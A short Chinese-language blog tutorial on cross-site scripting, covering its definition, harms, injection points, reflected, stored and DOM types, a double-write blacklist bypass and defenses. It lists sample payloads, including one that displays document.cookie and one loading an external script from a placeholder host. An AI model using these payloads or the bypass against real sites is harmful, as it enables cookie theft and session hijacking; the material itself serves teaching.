XSS漏洞

Tlomlyiyi發表於2024-06-23

XSS漏洞

什麼是XSS?

跨站指令碼攻擊,Cross-Site Scripting, 為了和CSS(層疊樣式表)區分開來,把第一個字母C改成了X,也就是現在所說的XSS攻擊。

XSS的危害

竊取cookie, 劫持對話,網路釣魚,放馬挖礦,廣告刷流量,劫持後臺,篡改頁面,傳播蠕蟲,內網掃描。

XSS作用位置

使用者輸入作為script標籤內容
使用者輸入作為HTML註釋內容
使用者輸入作為HTML標籤的屬性名
使用者輸入作為HTML標籤的屬性值
使用者輸入作為HTML標籤的名字
直接插入到CSS裡

XSS指令碼

<script>alert("hacker")</script>				#彈出hacker
<script>alert(/hacker/)</script>				#彈出hacker
<script>alert(1)</script>						#彈出1, 對於數字可以不用引號
<script>alert(document.cookie)</script>			彈出cookie
<script src=http://XXX.com/xss.js></script>		#引用外部的xss

XSS的分類

反射型XSS

反射型XSS是非永續性、引數型跨站指令碼。反射型XSS的JS程式碼在web應用的引數(變數)中,如搜尋框的反射型XSS。

image

儲存型XSS

儲存型XSS是永續性跨站指令碼,永續性體現在xss程式碼不是在某個引數(變數)中,而是寫進資料庫或檔案等可以永久儲存資料的介質中。儲存型XSS通常發生在留言板等地方。

image

DOM型XSS

定義:owasp關於DOM型XSS的定義是基於DOM的XSS是一種XSS攻擊,其中攻擊的payloadi由於修改受害者瀏覽器頁面的DOM樹而執行的。

image

XSS常見繞過

雙寫繞過

網站中設定黑名單,檢測到黑名單中的字串,會被替換掉,從而規避掉惡意程式碼,這種情況可以視情況而定,選擇合適的雙寫格式進行檢查繞過。

XSS防範

防範辦法

對使用者的輸入(和URL引數)進行過濾,對輸出進行html編碼,也就是對使用者提交的所有內容進行過濾,對url中的引數進行過濾,過濾掉會導致指令碼執行的相關內容;然後對動態輸出到頁面的內容進行html編碼,使指令碼無法在瀏覽器中執行。

相關文章